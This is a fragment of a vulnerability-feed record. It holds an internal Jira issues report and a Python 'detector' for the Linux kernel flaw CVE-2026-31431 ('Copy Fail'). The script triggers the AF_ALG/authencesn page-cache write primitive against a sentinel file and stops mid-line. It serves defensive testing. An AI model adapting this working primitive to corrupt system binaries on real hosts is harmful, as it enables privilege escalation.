*{box-sizing:border-box;margin:0;padding:0}\n  body{font-family:var(--font);background:var(--bg);color:var(--tx);padding:24px;max-width:1300px;margin:0 auto}\n  h1{font-size:18px;font-weight:500;margin-bottom:4px}\n  .sub{font-size:12px;color:var(--tx2);margin-bottom:20px}\n  .tabs{display:flex;gap:6px;margin-bottom:1.25rem;flex-wrap:wrap}\n  .tab{padding:5px 13px;border:0.5px solid var(--bdr2);border-radius:var(--r);font-size:13px;cursor:pointer;background:var(--bg);color:var(--tx2)}\n  .tab.active{background:var(--bg2);color:var(--tx);font-weight:500}\n  .tab:hover:not(.active){background:var(--bg2)}\n  .legend{display:flex;gap:14px;flex-wrap:wrap;margin-bottom:1rem;font-size:11px;color:var(--tx2);align-items:center}\n  .li{display:flex;align-items:center;gap:4px}\n  .ld{width:9px;height:9px;border-radius:2px}\n  .summary-grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:8px;margin-bottom:1.25rem}\n  .metric{background:var(--bg2);border-radius:var(--r);padding:10px 12px}\n  .ml{font-size:11px;color:var(--tx2);margin-bottom:3px}\n  .mv{font-size:20px;font-weight:500}\n  .project-block{margin-bottom:1.1rem;border:0.5px solid var(--bdr);border-radius:var(--rl);overflow:hidden}\n  .ph{padding:9px 14px;border-bottom:0.5px solid var(--bdr);display:flex;align-items:center;justify-content:space-between}\n  .pn{font-size:13px;font-weight:500}\n  .pm{font-size:11px;color:var(--tx2)}\n  .th{padding:5px 14px;font-size:11px;font-weight:500;color:var(--tx2);background:var(--bg2);display:flex;align-items:center;gap:6px;border-top:0.5px solid var(--bdr)}\n  .tc{background:var(--bg3);color:var(--tx2);padding:1px 6px;border-radius:var(--r);font-size:10px}\n  .cols{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:4px 14px;font-size:10px;color:var(--tx3);background:var(--bg2);border-top:0.5px solid var(--bdr)}\n  .ir{display:grid;grid-template-columns:80px 1fr 86px 82px 82px 80px 98px;gap:4px;padding:6px 14px;align-items:start;border-top:0.5px solid var(--bdr);font-size:11px}\n  .ir.stale{background:rgba(250,238,218,0.3)}\n  .ir.highest{background:rgba(252,235,235,0.35)}\n  .ir.overdue{background:rgba(252,235,235,0.45)}\n  .ir.stale.highest,.ir.stale.overdue{background:rgba(250,220,200,0.45)}\n  @media(prefers-color-scheme:dark){\n    .ir.stale{background:rgba(99,56,6,0.2)}.ir.highest{background:rgba(121,31,31,0.2)}\n    .ir.overdue{background:rgba(121,31,31,0.3)}.ir.stale.highest,.ir.stale.overdue{background:rgba(110,40,6,0.28)}\n  }\n  .ik{color:var(--info);font-size:10px;font-family:var(--mono);white-space:nowrap;text-decoration:none}\n  .ik:hover{text-decoration:underline}\n  .is{color:var(--tx);line-height:1.4;overflow:hidden;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}\n  .ia{color:var(--tx2);font-size:10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}\n  .dt{font-size:10px;white-space:nowrap}\n  .upd-ok{color:var(--tx2)}.upd-stale{color:#BA7517;font-weight:500}\n  .due-ok{color:var(--tx2)}.due-over{color:#A32D2D;font-weight:500}\n  .cr{color:var(--tx2)}\n  @media(prefers-color-scheme:dark){.upd-stale{color:#FAC775}.due-over{color:#F7C1C1}}\n  .dot-h{display:inline-block;width:5px;height:5px;border-radius:50%;background:#E24B4A;margin-right:2px;vertical-align:middle}\n  .dot-s{display:inline-block;width:5px;height:5px;border-radius:50%;background:#EF9F27;margin-right:2px;vertical-align:middle}\n  .dot-d{display:inline-block;width:5px;height:5px;border-radius:50%;background:#D85A30;margin-right:2px;vertical-align:middle}\n  .sb{font-size:10px;padding:2px 6px;border-radius:var(--r);text-align:center;white-space:nowrap}\n  .s-ip{background:#FAEEDA;color:#854F0B}.s-td{background:#E1F5EE;color:#0F6E56}\n  .s-oi{background:#FCEBEB;color:#A32D2D}.s-xx{background:var(--bg2);color:var(--tx2)}\n  @media(prefers-color-scheme:dark){\n    .s-ip{background:#633806;color:#FAC775}.s-td{background:#085041;color:#9FE1CB}.s-oi{background:#791F1F;color:#F7C1C1}\n  }\n  .empty{padding:16px;text-align:center;color:var(--tx3);font-size:12px}\n  .footer{font-size:11px;color:var(--tx3);margin-top:24px}\n\n\n\n\nJira Active Issues Report \u2014 DO / IM / S2\n\nGenerated May 06, 2026 at 03:26 PM  \u00b7  Excludes Done, Fixed, Canceled, Deferred  \u00b7  https://karrostech.atlassian.net\n\nLast 24 hrs24\u201348 hrs ago2\u20137 days agoOlder than 7 days\n\n\n  Highest priority\n  Stale \u22655 business days\n  Due date missed\n\n\n\n\n\nDO \u2014 Edulog DevOps\n1\n\nIM \u2014 Incident Management\n4\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                1 active issue\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nTask 1\n                    \n\n                      DO-2042\n                      Client Cancelation for Kuna Joint School District, ID - May 29 shutdown\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      On hold\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                4 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 3\n                    \n\n                      IM-7574\n                      Gwinnett, GA - Missing Data in Telematics\n                      Josiah Brown\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7573\n                      Brunswick County, NC - APP Issues\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7571\n                      Cleveland, OH - Client Reported Delays in Both Telematics and with Parent Portal Messages this Morning\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \nTask 1\n                    \n\n                      IM-7572\n                      Framingham Public Schools, GPS units not reporting in since 11:30 AM today\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n2\n\nIM \u2014 Incident Management\n1\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                2 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nTask 2\n                    \n\n                      DO-2041\n                      Remove the test server - fr-routing-legacy-test  it is no longer needed.\n                      \u2014\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2040\n                      Remove queuedNotification lambda function when associated NotificationService changes are deployed\n                      \u2014\n                      May 4, '26\n                      May 4, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                1 active issue\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 1\n                    \n\n                      IM-7569\n                      Zonar - Delay / Omission of pings to SM, PP\n                      Nick Sundberg\n                      May 5, '26\n                      May 5, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n10\n\nIM \u2014 Incident Management\n14\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                10 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nBug 2\n                    \n\n                      DO-2034\n                      DP V2 (build 180/AV1): EDP gateway /v4.0/vehicles/search returns 0 vehicles for development-test-school tenant\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2033\n                      DP V2 (build 180/AV1): POST /apilive/setting/event/add returns 500 after login (tenantId='', deviceId=0)\n                      \u2014\n                      May 3, '26\n                      May 3, '26\n                      \u2014\n                      Backlog\n                    \nStory 1\n                    \n\n                      DO-2025\n                      Birdville, TX - Please deploy Telematics\n                      Cory Emlen\n                      Apr 29, '26\n                      May 6, '26\n                      \u2014\n                      IN PROGRESS\n                    \nTask 7\n                    \n\n                      DO-2037\n                      Deploy Hafeez's Data Build Tool\n                      Boluwatife Olaifa\n                      May 4, '26\n                      May 6, '26\n                      May 4, '26\n                      Backlog\n                    \n                    \n\n                      DO-2032\n                      Need script run on Cobb to remove duplicate locations\n                      Vader\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-2028\n                      All legacy PP ingestions have not run:\n                      Josiah Brown\n                      May 1, '26\n                      May 5, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2027\n                      Patch infra with CopyFail (CVE-2026-31431)\n                      Josiah Brown\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2026\n                      Johnston NC Demo Site down\n                      Vader\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-2024\n                      Review all deployments, evaluate setting limits\n                      Josiah Brown\n                      Apr 29, '26\n                      Apr 29, '26 (5d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-2023\n                      Testing Release Servers\n                      \u2014\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Backlog\n                    \n            \n\n              \n\n                IM \u2014 Incident Management\n                14 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nStory 14\n                    \n\n                      IM-7567\n                      Fayette County, no bus event update since 4/29\n                      \u2014\n                      May 1, '26\n                      May 6, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7564\n                      Knox, TN - Gps units not reporting in since yesterday\n                      \u2014\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7563\n                       West Shore - Parent Portal not working\n                      Brandon Donnelson\n                      May 1, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7561\n                      Denton, TX - Parent Portal App is not tracking buses\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7560\n                      Suffolk, call from parent experiencing tracking issues.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7559\n                      New Kent, parent portal not tracking\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7557\n                      New Hanover, Parent portal  tracking issues\n                      Brandon Donnelson\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7556\n                      Jefferson, parent portal not tracking \n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7555\n                      Elyria-OH ,Parent Portal App don't track the bus.\n                      Josiah Brown\n                      Apr 30, '26\n                      May 1, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7554\n                      Peoria, AZ - Parent Portal Down\n                      Brandon Donnelson\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7553\n                      Stanfield, AZ's Parent Portal is not working as of this morning.  Last reading 4:16am.  \n                      \u2014\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Blocker\n                    \n                    \n\n                      IM-7551\n                      SM Can't Send Messages to PP/PPL\n                      Boluwatife Olaifa\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7550\n                      Cleveland, OH - Not able to track buses - GPS tracking down\n                      Kehinde Metibemu\n                      Apr 30, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n                    \n\n                      IM-7548\n                      Cobb County, GA - Severely Degraded Athena Performance\n                      Brandon Donnelson\n                      Apr 29, '26\n                      Apr 30, '26\n                      \u2014\n                      Open Issue\n                    \n\n\n\nDO \u2014 Edulog DevOps\n50\n\nIM \u2014 Incident Management\n0\n\nS2 \u2014 Soc-2 & Security\n0\n            \n\n              \n\n                DO \u2014 Edulog DevOps\n                50 active issues\n              \n              \n\n                KeySummaryAssignee\n                CreatedLast updatedDue dateStatus\n              \nATH New site request 1\n                    \n\n                      DO-1787\n                      Elyria, OH - Athena Conversion from Legacy\n                      Cory Emlen\n                      Mar 17, '26\n                      Apr 30, '26\n                      Apr 17, '26\n                      Blocked\n                    \nBug 49\n                    \n\n                      DO-1905\n                      Parent Portal missing route/vehicle data after EKS 1.34 upgrade \u2014 missed cron sync + Hibernate 6 bug\n                      \u2014\n                      Apr 6, '26\n                      Apr 6, '26 (22d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1855\n                      There is no data available in Route assignment, Live substitution modules of Telematcis for Johnston site\n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1854\n                      There is no data available in multiple pages like Students, Runs, Routes modules of Routing for Johnston site \n                      Mide Dickson\n                      Mar 26, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1842\n                      EDTA service missing MongoDB JVM args \u2014 broken on 57 production tenants\n                      \u2014\n                      Mar 25, '26\n                      Mar 25, '26 (30d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1801\n                      release-2-fr - Elastic search error displays into log - Unable to search for stop locations\n                      \u2014\n                      Mar 19, '26\n                      Mar 19, '26 (34d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1786\n                      [EastAllen, IN 1.78 Smoke]CA Result CSV \u2013 Export fails for valid dates with 400 Bad Request (invalid page number)\n                      Dane Elwood\n                      Mar 17, '26\n                      Mar 26, '26 (29d)\n                      \u2014\n                      Blocked\n                    \n                    \n\n                      DO-1785\n                      [EastAllen, IN 1.78 Smoke]Vehicles \u2013 Seating Configuration popup shows error \u201cnetwork issues\u201d due to backend API failure\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1784\n                      [Lake Superior 1.78 Smoke]Time & Attendance module not opening from main dashboard\n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1783\n                      Config API is failing for Time & Attendance module in Collinsville site \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1782\n                      Several API calls are failed in ultilities --> Employee Import and Queue Priority modules \n                      Josiah Brown\n                      Mar 17, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1779\n                      [Cleveland -1.78] [Time & attendance][Absence Record] Data preview is not available\n                      Josiah Brown\n                      Mar 16, '26\n                      Mar 16, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1776\n                      Routes API CORS Blocked & Gateway Timeout on Routes Management Page\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 15, '26 (38d)\n                      \u2014\n                      Verification\n                    \n                    \n\n                      DO-1775\n                      [Chicago-1.78] [Telematics --> Edulog standard reports] - Unable to select date range for AM on time report\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 13, '26 (38d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1768\n                      [moorhead 1.78.0] [Telematics] [Vehicle Plan Error] Front end error for Vehicle on Route Historical view\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 16, '26 (37d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1767\n                      500 Internal Server Error on Athena Routing Screen \u2013 eligibilities API\n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1766\n                      [Helena] API call fails on clicking \"Add New\" Student \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 23, '26 (32d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1765\n                      Deleting a student without entering any data in Add student form is giving 405 error \n                      Josiah Brown\n                      Mar 13, '26\n                      Mar 27, '26 (28d)\n                      \u2014\n                      Backlog\n                    \n                    \n\n                      DO-1761\n                       is displayed against a checkbox on Custom transportation Needs \n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1760\n                      Pick A Location - External address return as the SA\" is failing because the \"Pick A Location\" button cannot be located on the page, preventing test execution.\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1759\n                      [Chief Leschi-1.78][Reports] [User defined Reports] Unable to create a new report template\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 31, '26 (26d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1758\n                      API returns 500 error when sending IN filter with empty values array in search request\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1757\n                      Stops/Checkpoints \u2013 Map not displayed in \u201cPick A Location\u201d popup when using Relocate\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1756\n                      [Chief Leschi-1.78] Created date is not same when downloaded a report\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1755\n                      Data Management \u2013 Map fails to load across multiple modules\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1754\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with CA Reports\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 24, '26 (31d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1753\n                      Students \u2013 Student picture API returning 404 Not Found when opening student record\n                      Josiah Brown\n                      Mar 12, '26\n                      Apr 6, '26 (22d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1752\n                      Students \u2013 Address parsing APIs (type, prefix, suffix) returning 500 Internal Server Error in background requests\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1751\n                      Students \u2013 Opening student record triggers \"Error parsing address\" popup and address standardization API returns 500\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 12, '26 (39d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1749\n                      Historical changes API is returning 500 Internal server error on Vehicle on routes in Telamatics\n                      Josiah Brown\n                      Mar 12, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1615\n                      Payroll Data is not available/displaying\n                      \u2014\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1614\n                      Data is not Visible for Default Working Hours in Employees under Data Management\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1613\n                      UDF Tab is not Displayed in Employee Information Page\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1611\n                      RPO \u2013 OPT actions failure\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1610\n                      [Chief Leschi-1.78] Created by \"unknown\" appearing with Stops details\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1608\n                      Location search fails with 504 Gateway Timeout when adding a new Stop\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1606\n                      Student Needs dialogs shows formatting issues and invalid \u201c504\u201d need option\n                      Josiah Brown\n                      Mar 11, '26\n                      Mar 11, '26 (40d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1594\n                      [Foundations] 404 error on Students detail page\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1591\n                      Web Query not configured for aldine-tx\n                      Josiah Brown\n                      Mar 10, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1579\n                      [Support][1.78] [Telematics] -- Error on FE Live Subs\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 9, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1578\n                      [Support-Site-1.78] 500 internal server error for \"eligibilities\"call\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 10, '26 (41d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1577\n                      [Training][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 9, '26\n                      Mar 30, '26 (27d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1575\n                      [Manitouspring][1.78] [Telematics-Drivers] -- Error on FE for Route Assignment\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 9, '26 (42d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1572\n                      [Manitouspring][1.78] Audit Logs: Unknown has been shown for many logs in users column\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 17, '26 (36d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1570\n                      500 err on cancel report API\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1569\n                      API Timesout - Endless Spinning Wheel Issue\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1562\n                      API times out/ when searching with keywords for location in Pick a Location Popup [smoke/hemet]\n                      Josiah Brown\n                      Mar 6, '26\n                      Mar 6, '26 (43d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1558\n                      [Houston-1.780] [Mapping] Console Error\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1556\n                      Home Page - Telematics module not displayed on Home Page\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n                    \n\n                      DO-1555\n                      [Houston-1.780] 500 internal server error for \"search\"call inside stop module\n                      Josiah Brown\n                      Mar 5, '26\n                      Mar 5, '26 (44d)\n                      \u2014\n                      To Do\n                    \n\nData sourced live from Jira on May 06, 2026 at 03:26 PM.\n\nfunction showTab(key,el){\n  document.querySelectorAll('.tab').forEach(t=>t.classList.remove('active'));\n  el.classList.add('active');\n  document.querySelectorAll('.pane').forEach(p=>p.style.display='none');\n  document.getElementById('pane-'+key).style.display='block';\n}\n\n\n", "creation_timestamp": "2026-05-06T15:26:34.000000Z"}, {"uuid": "2f7e14b3-c894-4eb5-8587-7b005929b161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Deemasta/663a32c808164adcacfa7e0877e5198e", "content": "#!/usr/bin/env python3\n# CVE-2026-31431 (\"Copy Fail\") vulnerability detector.\n#\n# Attempts to trigger the algif_aead / authencesn page-cache scratch-write\n# primitive against a user-owned sentinel file in a temp directory. If the\n# scratch write lands inside the spliced page-cache page, the file's contents\n# (as observed via a fresh read) will contain the marker bytes.\n#\n# SAFE BY DESIGN\n#   * Operates on a sentinel file the running user just created. /usr/bin/su\n#     and other system binaries are NOT touched.\n#   * Page-cache corruption is in-memory only; nothing is written back to disk.\n#   * Exit 0 = NOT vulnerable, 2 = VULNERABLE, 1 = test error.\n#\n# Use only on hosts you own or are explicitly authorized to test.\n\nimport errno\nimport os\nimport socket\nimport struct\nimport sys\nimport tempfile\n\nAF_ALG                    = 38\nSOL_ALG                   = 279\nALG_SET_KEY               = 1\nALG_SET_IV                = 2\nALG_SET_OP                = 3\nALG_SET_AEAD_ASSOCLEN     = 4\nALG_OP_DECRYPT            = 0\nCRYPTO_AUTHENC_KEYA_PARAM = 1   # rtattr type from \n\nALG_NAME = \"authencesn(hmac(sha256),cbc(aes))\"\nPAGE     = 4096\nASSOCLEN = 8     # SPI(4) || seqno_lo(4)\nCRYPTLEN = 16    # one AES block\nTAGLEN   = 16    # truncated HMAC-SHA256\nMARKER   = b\"PWND\"\n\n\ndef build_authenc_keyblob(authkey: bytes, enckey: bytes) -> bytes:\n    # struct rtattr { u16 rta_len; u16 rta_type } || __be32 enckeylen || keys\n    rtattr   = struct.pack(\"HH\", 8, CRYPTO_AUTHENC_KEYA_PARAM)\n    keyparam = struct.pack(\">I\", len(enckey))\n    return rtattr + keyparam + authkey + enckey\n\n\ndef precheck() -> str | None:\n    if not os.path.exists(\"/proc/crypto\"):\n        return \"/proc/crypto missing\"\n    try:\n        socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close()\n    except OSError as e:\n        return f\"AF_ALG socket family unavailable ({e.strerror})\"\n    try:\n        s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)\n        s.bind((\"aead\", ALG_NAME))\n        s.close()\n    except OSError as e:\n        return f\"{ALG_NAME!r} cannot be instantiated ({e.strerror})\"\n    return None\n\n\ndef attempt_trigger(target_path: str) -> tuple[bool, bytes]:\n    sentinel = (b\"COPYFAIL-SENTINEL-UNCORRUPTED!!\\n\" * (PAGE // 32))[:PAGE]\n    with open(target_path, \"wb\") as f:\n        f.write(sentinel)\n\n    # Populate page cache.\n    fd_target = os.open(target_path, os.O_RDONLY)\n    os.read(fd_target, PAGE)\n    os.lseek(fd_target, 0, os.SEEK_SET)\n\n    # Master socket: bind + key.\n    master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)\n    master.bind((\"aead\", ALG_NAME))\n    master.setsockopt(\n        SOL_ALG, ALG_SET_KEY,\n        build_authenc_keyblob(b\"\\x00\" * 32, b\"\\x00\" * 16),\n    )\n    op, _ = master.accept()\n\n    # Per-op parameters travel as control messages on sendmsg, not setsockopt.\n    # AAD bytes 4..7 are seqno_lo - the value the buggy scratch-write copies\n    # into dst[assoclen + cryptlen]. We pick MARKER so corruption is obvious.\n    aad = b\"\\x00\" * 4 + MARKER\n    cmsg = [\n        (SOL_ALG, ALG_SET_OP,            struct.pack(\"I\", ALG_OP_DECRYPT)),\n        (SOL_ALG, ALG_SET_IV,            struct.pack(\"I\", 16) + b\"\\x00\" * 16),\n        (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack(\"I\", ASSOCLEN)),\n    ]\n    op.sendmsg([aad], cmsg, socket.MSG_MORE)\n\n    # Splice CRYPTLEN+TAGLEN bytes of the target's page-cache page into the\n    # op socket. Because algif_aead runs in-place (req->dst = req->src), those\n    # page-cache pages now sit in the destination scatterlist.\n    pr, pw = os.pipe()\n    try:\n        n = os.splice(fd_target, pw, CRYPTLEN + TAGLEN, offset_src=0)\n        if n != CRYPTLEN + TAGLEN:\n            raise RuntimeError(f\"splice file->pipe short: {n}\")\n        n = os.splice(pr, op.fileno(), n)\n        if n != CRYPTLEN + TAGLEN:\n            raise RuntimeError(f\"splice pipe->op short: {n}\")\n    except OSError as e:\n        os.close(pr); os.close(pw)\n        op.close(); master.close(); os.close(fd_target)\n        if e.errno in (errno.EOPNOTSUPP, errno.ENOTSUP):\n            raise RuntimeError(\n                \"splice into AF_ALG socket not supported on this kernel - \"\n                \"the page-cache attack vector is not reachable here\"\n            ) from e\n        raise\n\n    # Drive the algorithm. Auth check will fail (we sent zero ciphertext+tag);\n    # EBADMSG is fine - the scratch write fires before/independent of verify.\n    try:\n        op.recv(ASSOCLEN + CRYPTLEN + TAGLEN)\n    except OSError as e:\n        if e.errno not in (errno.EBADMSG, errno.EINVAL):\n            raise\n\n    op.close()\n    master.close()\n    os.close(pr)\n    os.close(pw)\n\n    # Read back via the existing fd (page cache, not disk).\n    os.lseek(fd_target, 0, os.SEEK_SET)\n    after = os.read(fd_target, PAGE)\n    os.close(fd_target)\n\n    return after, sentinel\n\n\ndef kernel_in_affected_line() -> bool:\n    # Per the disclosure, fixes landed on the 6.12, 6.17 and 6.18 stable lines.\n    rel = os.uname().release.split(\"-\")[0]\n    parts = rel.split(\".\")\n    try:\n        major, minor = int(parts[0]), int(parts[1])\n    except (ValueError, IndexError):\n        return False\n    return (major, minor) >= (6, 12)\n\n\ndef main() -> int:\n    print(f\"[*] CVE-2026-31431 detector  kernel={os.uname().release}  \"\n          f\"arch={os.uname().machine}\")\n    if not kernel_in_affected_line():\n        print(f\"[i] Kernel {os.uname().release} predates the affected \"\n              f\"6.12/6.17/6.18 lines; trigger may not apply even if \"\n              f\"prerequisites match.\")\n\n    reason = precheck()\n    if reason:\n        print(f\"[+] Precondition not met ({reason}). NOT vulnerable.\")\n        return 0\n    print(f\"[+] AF_ALG + {ALG_NAME!r} loadable - precondition met.\")\n\n    tmp = tempfile.mkdtemp(prefix=\"copyfail-\")\n    target = os.path.join(tmp, \"sentinel.bin\")\n    try:\n        after, sentinel = attempt_trigger(target)\n    except Exception as e:\n        print(f\"[!] Trigger failed: {type(e).__name__}: 